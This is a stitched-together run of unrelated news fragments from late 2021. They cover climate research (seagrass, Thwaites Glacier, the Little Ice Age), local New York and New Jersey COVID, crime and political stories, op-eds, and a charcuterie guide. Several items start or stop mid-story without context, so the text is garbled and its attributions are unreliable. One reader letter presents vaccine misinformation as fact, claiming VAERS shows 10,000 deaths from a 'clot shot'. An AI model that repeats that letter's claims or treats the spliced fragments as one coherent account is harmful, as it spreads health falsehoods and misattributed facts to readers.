by recultivating seagrass meadows is nevertheless not as simple as experts previously thought. Some seagrass meadows release more carbon dioxide into the atmosphere than they store. This surprising insight, which Van Dam's team has now published in Science Advances, is enormously important for correctly calculating the actual climate protection potential of seagrass meadows in the future. Seagrass meadows are found on many coasts all over the world, including in Europe. They are most widespread in tropical regions. "By taking measurements in seagrass meadows off the coast of Florida, we could show that some of these tropical seagrass meadows absorb considerably less carbon dioxide than has long been thought," says Van Dam, who conducts his research at the Hereon Institute of Carbon Cycles. "In contrast, on some coasts, they even emit more CO 2 ." This is because many chemical processes in the plants and in the sediment take place that other experts have so far neglected when calculating carbon dioxide uptake. "It depends on many different processes as to whether seagrass meadows actually help reduce carbon dioxide in the atmosphere. " In some cases, seagrass absorbs significantly less carbon dioxide than long thought. Credit: Hereon/Bryce van Dam Dissolved carbonates play the main role The seas essentially swallow a great deal of carbon dioxideapproximately a quarter of the human CO 2 emissions. The main role in this exchange between the atmosphere and ocean is played by dissolved carbonates, which wind up in the sea through the weathering of rocks. In simple terms, carbonates bind the carbon dioxide from the atmosphere and it is then stored in the seawater. The more carbonate the water contains, the more carbon dioxide it can ultimately absorb. In the warm tropical waters, however, this does not function as smoothly. The metabolic processes of the seagrass plants convert the dissolved carbonates to lime when it is warm. This lime then trickles to the seafloor. This results in the loss of carbonate, which would otherwise bind carbon dioxide. "The result is that these seagrass meadows hardly bind any carbon dioxide. On the contrary, they tend to release carbon dioxide through various other biochemical processes," explains Prof. Helmuth Thomas, an expert in biochemistry. Thomas is director of the Hereon Institute of Carbon Cycles and is coauthor of the current study. Two methods combined for the first time The international team led by Hereon applied a novel combination of methods to build a complete carbon budget that allowed them to account for all of the CO 2 produced and consumed in the ecosystem much more precisely. In the first method, they directly measured the exchange of CO 2 between the water and atmosphere using an approach called "eddy covariance." This approach has been used for many years in terrestrial ecosystems, but the team at Hereon is part of a community that is now extending its use to coastal waters. With a second, similar method, they directly measured the exchange of bicarbonate and other chemicals between the sediment and water. Lastly, they used geochemical sampling to measure the many processes in the sediments which act together to consume or produce CO 2 . "Really, the novel aspect of this study is that we were able to combine all of these approaches together at the same place and at the same time," says Bryce Van Dam. "By linking measurements in the sediment with related measurements in the water and in the air, we were able to track and account for the important processes that drive the ecosystem toward storing or releasing CO 2 ." First analyze, then distribute funds As nations search for ways to meet their carbon reduction targets under the Paris Agreement, talk of CO 2 offsets under blue carbon schemes appears promising to many. However, Dr. Van Dam says, "We cannot rely on blue carbon offsets to counteract the CO 2 that we put into the atmosphere by burning fossil fuels. Rather, we must first reduce CO 2 emissions and then protect these coastal habitats for the many financial and environmental benefits they offer us, which may not always include CO 2 sequestration." Explore further New study sparks fresh call for seagrass preservation More information: Bryce R. Van Dam, Calcification-driven CO2 emissions exceed "Blue Carbon" sequestration in a carbonate seagrass meadow, Science Advances (2021). www.science.org/doi/10.1126/sciadv.abj1372 Journal information: Science Advances Bryce R. Van Dam, Calcification-driven CO2 emissions exceed "Blue Carbon" sequestration in a carbonate seagrass meadow,(2021). DOI: 10.1126/sciadv.abj1372 Thwaites ice cliff. The glacier currently contributes four percent of annual global sea level rise. Credit: Rob Larter, BAS Antarctica's Thwaites Glacier is retreating rapidly as a warming ocean slowly erases its ice from below, leading to a faster flow, more fracturing and a threat of collapse, according to an international team of scientists. The glacier currently contributes four percent of annual global sea level rise. If it does collapse, global sea levels would rise by several feetputting millions of people living in coastal locations in danger from extreme flooding. Dr. Peter Davis, Physical Oceanographer at British Antarctic Survey (BAS), says: "Thwaites Glacier in West Antarctica is a river of ice the size of Great Britain that has been changing dramatically over the past 30 years. The speed at which it flows into the ocean has doubled, and there are fears that a complete collapse of the glacier could raise sea levels by over 60cm. Critically, the glacier is currently held back by an ice shelf, a floating extension of the glacier that is held in place by an underwater mountain. Recent research as part of the International Thwaites Glacier Collaboration has shown that this ice shelf is under attack from all sides. It is being melted from below by warm ocean waters, causing it to lose its grip on the underwater mountain. At the same time, massive fractures are forming and growing across the ice shelf surface. The research suggests that at the current rate of change, this critical ice shelf will begin to break apart within the next two decades, with severe consequences for the stability of Thwaites Glacier and ultimately sea level here in the UK." Thwaites field camp. Thwaites Glacier is retreating rapidly as a warming ocean slowly erases its ice from below. Credit: BAS The International Thwaites Glacier Collaboration is a collaboration between UK and US scientists, involving over 60 scientists and students. This five year project is aimed at collecting instrument data throughout the glacier and the adjacent ocean, and modeling ice flow and the future of the ice sheet. Their work has revealed major changes in the ice, the surrounding water and the area where it floats of the bedrock below. The ITGC It is one of BAS' flagship projects and several of our science and support staff are currently being deployed for the start of the 20212022 field research season. Thwaites sits in West Antarctica, flowing across a 120km stretch of frozen coastline. A third of the glacier flows more slowly than the restit's braced by a floating ice shelf which prevents faster flow of the upstream ice. But the brace of ice slowing Thwaites won't last for long, said Erin Petitt, an associate professor at Oregon State University. Beneath the surface, warmer ocean water circulating beneath the floating eastern side is melting the ice directly from beneath. This floating extension of the Thwaites Glacier will likely only survive a few more years. Peter Davis, whose team use hot water to drill access holes from the surface of the ice shelf to the ocean cavity hundreds of meters below, adds: "Warm water is also a threat for the so-called 'grounding zone,' the area where the glacier lifts off the seabed. The ocean waters in the grounding zone are warm, by polar standards, and salty, and this generates prime conditions for melting the ice shelf from beneath." Credit: British Antarctic Survey Peter Washam, a research associate at Cornell University, also studies the grounding zone. His team lowered a remote-controlled underwater robot through the borehole to take measurements of the ocean, ice and seafloor in this region. They mapped these properties up to the point where the ice and seafloor came in contact. Washam describes the grounding zone as "chaotic," with warm water, rugged ice, and a steep, sloping bottom that allows the water to quickly melt the ice sheet from below. Upstream of here, researchers have found that water is pumped under the ice sheet by tides. Lizzy Clyne, an adjunct professor at Lewis and Clark College, and their team study the tidal pumping mechanism that physically forces warm water between the ice and bedrock at Thwaites. The floating portion of the glacier rises and falls with the tidesand that motion acts like a lever, pumping water under the ice sheet. Also, downstream of the grounding zone on the bottom of the floating ice shelf, constant stretching and melting is rapidly creating long channels through the ice where water can flow, impacting the long term stability of the ice shelf, said Clyne. As Thwaites retreats upstream and into the ice sheet, it may form very tall ice cliffs at the ocean front. Anna Crawford, a postdoctoral researcher at the University of St. Andrews, and her team use computer modeling to study ice cliff failure: a process by which ice can break off the ends of the glacier into the open ocean. The process can take on many forms, but all of them could lead to very rapid retreat of the massive glacier. The bedrock shape of West Antarctica makes the region vulnerable to rapid retreat via ice-cliff failure, as increasingly tall cliffs could be exposed as the ice retreats. This could lead to a chain-reaction of fracturing, resulting in collapse, said Crawford. A challenge for the team is assessing if, when, and how fast this might occur, but major ice loss is possible within several decades to a few centuries. Thwaites Glacier is one of Antarcticas most unstable glaciers. Credit: Jeremy Harbeck Ted Scambos, a senior research scientist at the Cooperative Institute for Research in Environmental Sciences (CIRES) says: "If Thwaites were to collapse, it would drag most of West Antarctica's ice with it, so its critical to get a clearer picture of how the glacier will behave over the next 100 years. " ITGC research, including future sea-level projections, will be vital for policy makers in their efforts to mitigate and adapt to the impacts of global sea level rise. Explore further Scientists find record warm water in Antarctica, pointing to cause behind troubling glacier melt More information: For more information, see For more information, see thwaitesglacier.org/ Multimodel mean correlation map between the low-frequency AMOC at 26N and SST (12). Stars numbered 1 to 15 denote location of sites. Credit: Image from Lapointe et. al., 10.1126/sciadv.abi8230 New research from the University of Massachusetts Amherst provides a novel answer to one of the persistent questions in historical climatology, environmental history and the earth sciences: what caused the Little Ice Age? The answer, we now know, is a paradox: warming. The Little Ice Age was one of the coldest periods of the past 10,000 years, a period of cooling that was particularly pronounced in the North Atlantic region. This cold spell, whose precise timeline scholars debate, but which seems to have set in around 600 years ago, was responsible for crop failures, famines and pandemics throughout Europe, resulting in misery and death for millions. To date, the mechanisms that led to this harsh climate state have remained inconclusive. However, a new paper published recently in Science Advances gives an up-to-date picture of the events that brought about the Little Ice Age. Surprisingly, the cooling appears to have been triggered by an unusually warm episode. When lead author Francois Lapointe, postdoctoral researcher and lecturer in geosciences at UMass Amherst and Raymond Bradley, distinguished professor in geosciences at UMass Amherst began carefully examining their 3,000-year reconstruction of North Atlantic sea surface temperatures, results of which were published in the Proceedings of the National Academy of Sciences in 2020, they noticed something surprising: a sudden change from very warm conditions in the late 1300s to unprecedented cold conditions in the early 1400s, only 20 years later. Using many detailed marine records, Lapointe and Bradley discovered that there was an abnormally strong northward transfer of warm water in the late 1300s which peaked around 1380. As a result, the waters south of Greenland and the Nordic Seas became much warmer than usual. "No one has recognized this before," notes Lapointe. Normally, there is always a transfer of warm water from the tropics to the arctic. It's a well-known process called the Atlantic Meridional Overturning Circulation (AMOC), which is like a planetary conveyor belt. Typically, warm water from the tropics flows north along the coast of Northern Europe, and when it reaches higher latitudes and meets colder arctic waters, it loses heat and becomes denser, causing the water to sink at the bottom of the ocean. This deep-water formation then flows south along the coast of North America and continues on to circulate around the world. But in the late 1300s, AMOC strengthened significantly, which meant that far more warm water than usual was moving north, which in turn cause rapid arctic ice loss. Over the course of a few decades in the late 1300s and 1400s, vast amounts of ice were flushed out into the North Atlantic, which not only cooled the North Atlantic waters, but also diluted their saltiness, ultimately causing AMOC to collapse. It is this collapse that then triggered a substantial cooling. Fast-forward to our own time: between the 1960s and 1980s, we have also seen a rapid strengthening of AMOC, which has been linked with persistently high pressure in the atmosphere over Greenland. Lapointe and Bradley think the same atmospheric situation occurred just prior to the Little Ice Agebut what could have set off that persistent high-pressure event in the 1380s? The answer, Lapointe discovered, is to be found in trees. Once the researchers compared their findings to a new record of solar activity revealed by radiocarbon isotopes preserved in tree rings, they discovered that unusually high solar activity was recorded in the late 1300s. Such solar activity tends to lead to high atmospheric pressure over Greenland. At the same time, fewer volcanic eruptions were happening on earth, which means that there was less ash in the air. A "cleaner" atmosphere meant that the planet was more responsive to changes in solar output. "Hence the effect of high solar activity on the atmospheric circulation in the North-Atlantic was particularly strong," said Lapointe. Lapointe and Bradley have been wondering whether such an abrupt cooling event could happen again in our age of global climate change. They note that there is now much less arctic sea ice due to global warming, so an event like that in the early 1400s, involving sea ice transport, is unlikely. "However, we do have to keep an eye on the build-up of freshwater in the Beaufort Sea (north of Alaska) which has increased by 40% in the past two decades. Its export to the subpolar North Atlantic could have a strong impact on oceanic circulation", said Lapointe. "Also, persistent periods of high pressure over Greenland in summer have been much more frequent over the past decade and are linked with record-breaking ice melt. Climate models do not capture these events reliably and so we may be underestimating future ice loss from the ice sheet, with more freshwater entering the North Atlantic, potentially leading to a weakening or collapse of the AMOC." The authors conclude that there is an urgent need to address these uncertainties. Explore further The Coastal Northeastern US is a global warming hotspot The Washington County Public Health Department on Tuesday announced the death of another resident from COVID-19. According to the Health Department, the 78-year-old died Monday. This individual was recently hospitalized and had been fully vaccinated, officials said. In a statement, Washington County officials expressed their condolences to the friends and family of the resident. Public Health reported 46 new cases and 63 recoveries on Tuesday. Of the new cases, three individuals had been fully vaccinated. The county is now monitoring 296 active cases as of Monday. Sixteen residents are currently hospitalized, according to the news release. As of Tuesday morning, 36,488 Washington County residents have been fully vaccinated and 39,177 have received at least one dose. Washington County has recorded 1,022 breakthrough cases in vaccinated individuals, with nine cases resulting in death. The seven-day rolling positivity rate is at 8.9%. Warren County Warren County Health Services reported 65 new COVID cases and 58 recoveries on Tuesday. Health Services is now monitoring 435 cases, with 414 involving mild illness. Warren County reported 17 residents are currently hospitalized, with one unvaccinated patient being critically ill. Thirteen of the 17 have not been vaccinated. Four residents are moderately ill outside of the hospital, the county report stated. Glens Falls Hospital spokesman Ray Agnew reported a decrease in the number of COVID patients on Tuesday. There are currently 29 patients with the virus including four in the ICU and 10 patients now off isolation, according to Agnew. Of the 65 new cases in Warren County, Health Services said 30 cases involved fully vaccinated residents. Out of the 45,610 fully vaccinated Warren County residents, 1,675 breakthrough cases have been recorded. Sixteen of those cases resulted in death. Warren Countys seven-day rolling positivity rate is now 7.7%. Statewide Gov. Kathy Hochul announced 57 COVID-related deaths across New York occurred on Monday. On Tuesday, the governors press office reported an additional 416 New York residents were hospitalized. The state reported 68% of the population has now completed the vaccine series. Love 0 Funny 3 Wow 0 Sad 4 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. PLATTSBURGH An apparently contentious phone call has led at least three in the race for New Yorks 21st Congressional District to call for the resignation of Saratoga County Democratic Committee Chair Todd Kerner. Days after Kerner and 10 other party chairs announced their endorsement of Matt Castelli, a former CIA and counterterrorism official who resides in Wilton, the campaign for Bridie Farrell of North River put out a fundraising email claiming that Kerner had made misogynistic remarks in a conversation between the two. Now two other Democratic candidates for the seat attorney Matt Putorti of Whitehall and Ezra Watson, a technician who lives in Wilton and incumbent U.S. Rep. Elise Stefanik (R-Schuylerville) say Kerner should step down. Farrell email In the email, sent Thursday, Farrell framed 11 of the districts 12 county chairs endorsement of Castelli as an attempt to wire the primary as well as the backroom deal-making that turns people off and leads to reduced enthusiasm for political engagement. She wrote that Kerner had called her to say she should drop out, to which she countered that he had not yet met with her to discuss why she was running. He said, As a man, Im not comfortable meeting with you alone, Farrell continued. When I said, What? he replied, Not with all that youve said and put out there. Clearly, he was referring to my outspoken opposition to child sexual abusers. Farrell is a former U.S. speedskater turned crime victim advocate. Farrell claimed Kerner went on to say she was just like Tedra Cobb, the 2020 Democratic nominee, and that the two women are the problem with the Democratic Party because they make gender an issue. She wrote that the exchange underscores a further problem. How is a county chair who throws around misogynistic tropes and accuses a sexual abuse survivor of being a reputational risk to him the kind of person whose judgment we should trust to select the next Democratic standard-bearer against Elise Stefanik? The email ended with a prompt for donations to prove that North Country voters can make up their own minds. Kerners response In a post on the Saratoga Democratic Committees Facebook page, Kerner said Farrell blatantly lied about the conversation, showing she could not be trusted or serve as an elected official. He wrote that his comments included how the county chairs supported Castelli based upon his experience, qualifications and demeanor. Ms. Farrell told me she should be the candidate as she was the only female on the Democratic side, he claimed. My answer to her was as a party we should not base decisions on a persons race, sex or religion. She felt that response was sexist. I stand by that we as a party are better than picking candidates based on sex, religion, race or other category. Kerner said he refused to meet alone with Farrell based on the tone of her response and her saying his position was sexist. I offered to meet at the same time as the Warren County Democratic chair and Ms. Farrell refused, he continued. She conveniently forgets that she twice cancelled meetings with me for coffee in the fall. He added that her use of the disagreements with him to fundraise clearly demonstrates the chairs were absolutely correct that she should not be the Democratic candidate for office. Expanding base Farrell claimed in a subsequent email that she had replied to Kerners post, but that hed deleted her comments. Addressing Kerner, she contended that he knew what he said, but didnt think she would call him out publicly. I totally acknowledge your right to support whomever you wish, she continued. If you speak to others like you spoke to me, I am grateful you have elected to cast your endorsement elsewhere, because that type of misogyny isnt what my campaign is about. I am about expanding the base, treating our neighbors with the respect they deserve and standing up for all North Country residents. The Times-Union reported that Kerner had hired an attorney and expected Farrell to retract the fundraising email. Calls for resignation In a statement, Putorti said he believed Farrell and that Kerner should immediately resign. He added that Kerners behavior was shocking but not entirely surprising, and claimed that, months ago, Kerner insinuated to Putortis campaign team that he could not win because he is gay. Putorti said his campaign has heard from and about other local party leaders who have made similar statements. Local party bosses chose to circumvent their own committees in an attempt to rig the process over a gay man and woman who is a survivor of childhood sexual abuse, he continued, in favor of the candidate that they think has the best chance to win (read white straight man) before all candidates were given the opportunity to appear in front of their committees, seven months before the primary and even before district lines are set. Watson tweeted that he was joining the call for Kerners resignation. We wont tolerate this in our party! In a statement, Stefaniks campaign described Kerner as sexist and a Cuomo crony. He should be ashamed and is a disgrace, the campaign said. This is the biggest and earliest political implosion we have seen yet for North Country Democrat committees and candidates a true achievement based on their historic and massive losses in every single election against Congresswoman Elise Stefanik. Clinton County Democratic Committee Chair Jerry Marking said he was not aware of the phone call between Farrell and Kerner. He said he chose to endorse Castelli because he shows a lot of promise and is the only one thats shown interest in the area. Marking said he has heard very little from the other candidates, and also pointed to Castellis fundraising. He brought in more than any of his fellow Democrats last quarter. Elise has a lot of money, shes got a lot of backing, Marking said, but Matt (Castelli) has got the background and the knowledge and he can probably vie for some of the same votes she can go for because of his background with the CIA. I think hes got a pretty good shot at beating her. Michael Goot covers politics, crime and courts, Warren County, education and business. Reach him at 518-742-3320 or mgoot@poststar.com. Love 3 Funny 8 Wow 0 Sad 1 Angry 0 Leaders in Saratoga, Warren and Washington counties stated Tuesday that they will not enforce Gov. Kathy Hochuls reinstated mask mandate. Saratoga County Todd Kusnierz, chairman of the Saratoga County Board of Supervisors, said the governors mandate was unrealistic. Saratoga Countys Public Health Department and Law Enforcement will not enforce New York states misguided and unrealistic mask mandate, which passes the buck to counties to enforce what the governor herself said just over a week ago is almost impossible to enforce, Kusnierz said in a news release on Tuesday. Kusnierz said Saratoga County did not have the additional resources and would not reallocate the existing law enforcement and health services resources to enforce the mandate. He also said this was a distraction for employees and a source of tension in places of business. This mandate attempts to divert these county employees and resources from their intended missions, while pitting our community members against each other by encouraging people and businesses to report perceived mask violations to law enforcement and the local health department, the new release stated. He also expressed concern for the lack of mask breaks for school children with the new mandate in place. He encouraged Saratoga County residents to continue to get vaccinated or schedule a booster shot, when necessary. A vaccination may save a life; issuing a fine only helps to fuel more division in our community, Kusnierz said. Warren County Warren County Board of Supervisors Chairwoman Rachel Seeber stated the county has already been encouraging the use of masks whenever possible. Even before the recent mask or vaccination mandate from New York State, Warren County has requested and continues to request that residents and visitors wear a mask in indoor public settings. There is enormous strain on our Warren County Health Department and other county agencies due to demands related to COVID-19 testing, vaccinations, contact tracing and mandated isolations. We consequently lack the resources to effectively enforce New York states new mask or vaccine mandate, Seeber stated in a news release. Seeber said Sheriff Jim LaFarr believes that local law enforcement does not have the ability or authority to enforce the mandate. She asked county residents to be considerate of businesses during this time. Our goal is to keep our local businesses and organizations open to the public and keep their customers, visitors and employees safe, Seeber stated. Washington County Washington County Board of Supervisors Chairman Sam Hall shared a similar sentiment. Hall suggested the residents of Washington County be understanding regarding the businesses choosing to enforce the mandate. They are doing as directed and taking measures to keep our businesses and organizations operating and open to the public in as safe and healthy a manner as possible, he said. I know firsthand all of our Washington County Public Health Department resources are currently committed in the response to COVID-19 relative to case investigations and vaccinations. Our Public Health team does not have the resources or personnel to reallocate from their critical duties they are currently tasked with to conduct enforcement actions relative to the states newly issued requirements, Hall said. Love 25 Funny 5 Wow 1 Sad 1 Angry 11 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. FORT ANN A Great Meadow Correctional Facility inmate last month attacked several officers after he refused staff orders to lock in his cell, the union representing correction officers said Tuesday. The inmate involved in the Nov. 29 incident at the maximum-security facility refused orders from officers to lock himself in his cell after returning from the mess hall, according to a news release from the New York State Correctional Officers and Police Benevolent Association Inc., or NYSCOPBA. The inmate took an aggressive stance and threatened the two officers. The officers immediately put the inmate in a body hold and forced him to the ground. On the ground and still combative, the inmate was able to partially break free and put one of the officers in a headlock, the news release states. Once he had the officer in a headlock, the inmate struck him twice in the face with a fist. Two additional officers arrived at the cell block and were able to pull the inmate off the officer and out of the headlock. As the inmate continued to fight, the officers were able to get his arms behind his back and apply handcuffs to his wrists. Once in handcuffs, the inmate eventually complied, the release continues. The inmate was removed from the cell block and placed in a Special Housing Unit pending disciplinary charges. The officer who was placed in the headlock suffered swelling to the eye and forehead and a sore shoulder. He was treated by facility medical staff and remained on duty. Two officers were injured containing the inmate, the union said. One officer suffered swelling and abrasions to his forearm. The second officer sustained a minor cut to his elbow. John Roberts, NYSCOPBA Northern Region vice president, said in a new release that assaults like this are an opportunity for county prosecutors and the acting state corrections commissioner to send a clear message to inmates that are near the completion of their sentence that unprovoked attacks on staff will not be tolerated. The inmate is scheduled to be released in 2022 and maybe he will think twice about attacking staff again if he is held criminally responsible and he remains in prison, Roberts stated. The inmate is serving a five-year state prison sentence after being convicted of first-degree robbery in Queens County in 2018. Love 0 Funny 0 Wow 2 Sad 1 Angry 3 This holiday season, for the first time since 2019, people can experience full-contact visits with a vaccinated and unmasked Santa at the Westfield Garden State Plaza shopping mall in Paramus, New Jersey. Similar scenes are playing out across America this Christmas season. CAPE MAY The city is facing some staffing challenges after a number of city workers tested positive for COVID-19, Mayor Zack Mullock said. Its been difficult for everybody, he said, adding he could not say much about city operations. He believes gatherings for Thanksgiving may have contributed to a recent rise in cases. A year after the first vaccine given in New Jersey on Dec. 15, 2020, COVID-19 remains a threat, despite new treatments and an increasing percentage of vaccinated residents. In Cape May County, officials are dealing with many of the same threats. Mullock is staying home himself as well, at least for now. He said he has tested positive for the coronavirus and is in quarantine. He feels OK, he said, with few symptoms. Im just thankful to be vaccinated. Who knows what it would have been without being vaccinated? he said. Its a reminder that this is still with us, unfortunately. +13 Data indicate omicron is milder, better at evading vaccines JOHANNESBURG (AP) The omicron variant is offering more hints about what it may have in store as it spreads around the globe: A highly transmissible virus that may cause less severe disease, and one that can be slowed but not stopped by todays vaccines. All four pleaded guilty to charges connecting them to efforts to defraud New Jerseys health benefits programs and other insurances by submitting false claims for medically unwarranted prescriptions. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} The first charges in the prescription fraud scheme were announced in summer 2017 after federal prosecutors subpoenaed records from several local shore towns. Prosecutors alleged a group of public employees had been recruited to obtain prescriptions for medically unnecessary compounded medications. The pharmacies that prepared the compounds received generous reimbursements, which they then paid back to a network of doctors, recruiters and employees taking part in the scheme, prosecutors said. So far, more than 45 people have been charged in the case, with more than 30 pleading guilty. Prosecutors have said the scheme centers on the billing of the states public employee health benefit plans for medically unnecessary compounded drugs, with payouts from prescription reimbursements going to line the pockets of all participants. LaMonaca, Gavras, Gerstel, Pilate and others persuaded New Jerseyans to acquire expensive compounded medications from an out-of-state pharmacy, according to court documents. Late Tuesday night, both districts said they were made aware of a social media post that reported potential threats to a number of local schools, including schools in both districts. The post reported there were videos posted on other social media accounts that said they were going to shoot up the schools, according to the letter. While we have no reason at this time to believe this post was based on a real or known threat, as a precautionary measure, we will have a police presence at our schools this morning, Greater Egg Harbor Regional Superintendent James M. Reina wrote in a letter to parents. Please recognize that presence is a demonstration of the joint commitment of Greater Egg and our local law enforcement partners to ensure the safety of all who enter our schools. On Tuesday, Ocean City High School students were dismissed early after receiving a report of a threat of violence. The threat was deemed not credible, according to Ocean City officials. Support Local Journalism Your subscription makes our reporting possible. {{featured_button_text}} Threat against Wildwood Middle School unfounded, police say WILDWOOD City police said Monday morning that a threat against Wildwood Middle School was On Monday, police said a threat against Wildwood Middle School was found to not be credible. Other area schools have reported similar incidents during the past two weeks. Elizabeth B. Alton, who lived to age 100, died in 2006 unable to convince a book publisher to release her memoir of the Miss America Competition, which spanned more than 70 years starting from the beginning. Alton's granddaughter, Karen Elizabeth Alton, took over the effort and was able to have her grandmother's memoir, titled "Beauty Is Never Enough," published in time for the 100th anniversary of the pageant this week. "When I finally got my hands on the book and I read it, I was reminded mw how much of an impact my grandmother had on my life. I heard her voice in every sentence," Alton, a 1991 Atlantic City High School graduate, said. "She was narrating it to me." Alton, who grew up in Margate, remembers her grandmother taking to her to see the Miss America Competition finals live when it was held in the building now known as Jim Whelan Boardwalk Hall in Atlantic City. "When I was a little girl, she took me to the Miss America Pageant. She still had a box. Throughout my life, she peppered me with stories. The intrigue, my grandmother was backstage to it all. These stories she would share with me," Alton, 48, said. John Rider, 61, was arrested at the beginning of the month on a similar charge. An arrest report did not say why he was facing the charge. There was no online docket in Sumter County yet for Rider, who was arrested in Brevard County, so it was not known if he had an attorney. No phone number was listed on an arrest report. Online records show Ketcik and Halstead are registered Republicans, while Rider has no party affiliation. The arrests come weeks after DeSantis proposed new restrictions on ballot drop boxes, creating the election police force and changes that would strengthen penalties for ballot harvesting. During his announcement, DeSantis, echoed many talking points on voting problems that have gained traction in the GOP following former President Donald Trumps false claims that his reelection was stolen from him. DeSantis is up for reelection next year and is eyeing a 2024 presidential run. The governor had previously praised the 2020 election in Florida as smooth, and there was widespread consensus among election officials and experts that there was no fraud that could have affected results in the last presidential election. An Associated Press review of every potential case of voter fraud in the six battleground states disputed by Trump has found fewer than 475 a number that would have made no difference in the 2020 presidential election. Copyright 2021 The Associated Press. All rights reserved. This material may not be published, broadcast, rewritten or redistributed without permission. Frank Battaglia Atlantic City Vaccine push uncritical, should be investigated Why are our government and corporate America proactively forcing people to get a vaccine for a disease that is only lethal to a tiny percentage of the population while making the unvaccinated villains? Unlike traditional inoculations these investigational RNA treatments instruct cells to create spike proteins in order to combat the virus. In some people these proteins may travel through the body causing damage to the heart, lungs and other organs. The CDC has a site for reporting vaccine reactions called VAERS. This site has had nearly a million reports of bad reactions and 10,000 deaths due to the clot shot, more than all other vaccines over the last 30 years and probably the tip of the iceberg. Many of Americas front line doctors have been outspoken but the mainstream and social media have censored their efforts. The FDA has scrapped other vaccines for far less, yet the CDC, the politicians and the media all call the shot safe and effective. Cheese and charcuterie are a food marriage made in heaven, right up there with peanut butter and jelly or bacon and eggs. Learning how to pair your selections can create a memorable prelude to a special-occasion dinner, fun nosh for a festive happy hour or a light meal in itself. Think of your charcuterie plate as a mix-and-match opportunity to sample different flavors together. There are two schools of thought here. One, you can serve items that complement each other without clashing say, a mild creamy Brie that lets a bold fennel sausage shine. Or, pair big flavors together that can stand up to the challenge of elevating each other, such as an earthy salami with a sharp Cheddar. Here are a few combos to know (and love). Well take one of each Not sure where to start? When youre standing at the cheese counter feeling intimidated, remember this tip: Go with one soft cheese (i.e. Brie), one Cheddar and one blue to cover the flavor spectrum. You can also choose one representative cheese each from cow, sheep and goat milk varieties. The same goes for selecting charcuterie pick a couple varieties that cover mild, salty and spicy flavors, or choose a trio of items made from different meats. Classic bites A cheesemonger favorite thats a perfect bite on the go is a piece of cured meat, a piece of cheese and a garnish,says Julia Hallman, general manager of Formaggio Kitchen in Cambridge, Massachusetts. We affectionately call these meat wraps, but they would also make fantastic hors doeuvres. For example, Hallman suggests topping a slice of Petit Jesu pork salami with a small wedge of Brie Fermier Jouvence and a dollop of German mustard, or a piece of bresaola with Swiss cheese and a tangy cornichon. Salty, sweet perfection Sugar and salt make a tasty combination: Think paper-thin slices of aged prosciutto wrapped around chunks of juicy summer cantaloupe, or a cube of sweet watermelon sprinkled with salty crumbled feta. As long as you have a good balance of components, its hard to miss, Hallman says. Honey, jams and preserves also make excellent additions to any cheese/charcuterie board as a sweet component to play nicely with salty items. Blue cheese with a slice of pear and a drizzle of honey? Yes, please. Spread the love In addition to sliced meats and cheeses, consider adding rillettes or pate to your charcuterie platter to lend a touch of luxury. We love rustic duck pate with Greek spoon cherries and a crusty baguette, or chicken liver mousse with Italian mostarda and brown bread, Hallman mentions. Our staff are head over heels in love with the pate, and they are terrific at suggesting classic and unique pairing ideas. For example, try pate with a tangy cornichon and imported German mustard to cut the richness. Hallman also suggests pairing Formaggio Kitchens housemade chicken liver mousse with preserved Portuguese plums in syrup and a crusty bread. Go unexpected Use your imagination and dont be afraid to go in unexpected directions. A few favorites are crushed chocolate espresso beans with Brie, popcorn atop foie gras-slathered baguette slices or spicy chutney and chevre. Why not? The skys the limit. Bon appetit! Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Vladimir Putin thinks the Soviet Union was a great, marvelous, unmatched world power, the Roman Empire in modern setting, a historical miracle spun by Russias cultural and ethnic superiority with lots of nuclear weapons, to boot. And he wants it back, starting with the nation of Ukraine, peopled, as he sees it, by residents in most ways Russian themselves. He has a Soviet tactic in mind. Attack that country. Make it part of the whole again. President Joe Biden, more than a little bit upset by this other president and his amassing tens of thousands of troops on Ukraines border, says no, no, many times no and recently threatened sanctions in a trans-Atlantic video session with Putin. Biden is falling short, but gets it that Ukraine is now an advancing democracy and wants to go its own way despite once being the most important part of Russia. Ukraine is already combatting Russia-supported rebels and Biden understands that Hungary, Poland and the Baltic states could be next in line for takeovers. The threat is also to Europe, just as Putin sees a threat to the new Soviet Union if he does not ward off NATO and Europe by making sure that certain border nations belong to him. "The family members we represent are deeply distraught and want answers to their questions. We are seeking to determine if Amazon did everything in its power to warn employees of the incoming danger from the tornado and provide a designated safe area for employees to shelter. Just three years ago, a tornado struck an Amazon warehouse in Baltimore, Maryland, killing two people. Were lessons learned from that tragedy turned into new policies and were they followed here? We are asking Amazon employees who worked at the fulfillment center to assist us with our investigation and help us understand what warnings were given and what procedures followed. And we commend the Occupational Safety and Health Administration (OSHA) for opening an investigation into workplace safety at the facility. Out of this horrific event, it's essential that proper protocols be put in place to protect the safety of warehouse workers to the fullest extent possible." Adults are continually looking for ways to shield youths from issues that are an inevitable part of growing up in the 21st century. Its not to say that all teens should be given free access to the internet all day, every day. We all know adolescents can be impulsive and irrational, but they are also smarter and more capable than we give them credit for. Its during this time that teens get to explore who they are, mistakes and all. It is in adolescence that they begin to have abstract thoughts, challenge the status quo, define their sense of self and create a sense of innovation. Adolescence is when we as human beings get to flourish, and social media have the power to magnify that important growth. Instead of restricting social media usage or access to pornography, we should be cultivating open conversations about them. Because it is not the internet that is causing harm; its the lack of education. Teens need to be taught about healthy boundaries when it comes to social media and that responsibility lies with parents, teachers and anyone with a teen in their life. Lets talk to teens about how social media platforms make them feel; about how what we see on the internet is not always the truth. Lets educate our teens on boundaries and online safety; on healthy and fulfilling sexual relationships. Teens want to be treated like adults, and we can provide them with that little bit of freedom by talking to them, not hiding things from them. Emma McCarthy is a health communications writer and the creator of Public Health 4 All. 2021 Chicago Tribune. Distributed by Tribune Content Agency, LLC. Love 0 Funny 0 Wow 0 Sad 0 Angry 0 Crazy Horse Memorial Foundation has established a partnership between Black Hills State University and The Indian University of North America to offer higher education opportunities, according to a news release from Black Hills State University. The students who attend IUNA are self-motivated individuals who seek new ways to grow and learn, Steve Helmers, Chair of the CHMF Board of Directors, said in a statement. BHSU has for many years demonstrated a special commitment to Native American students. In a creative collaboration between IUNA and BHSU, both parties will find new ways to engage students and support their individual development. Two summer semester undergraduate academic programs, 7TH GEN First-Year and 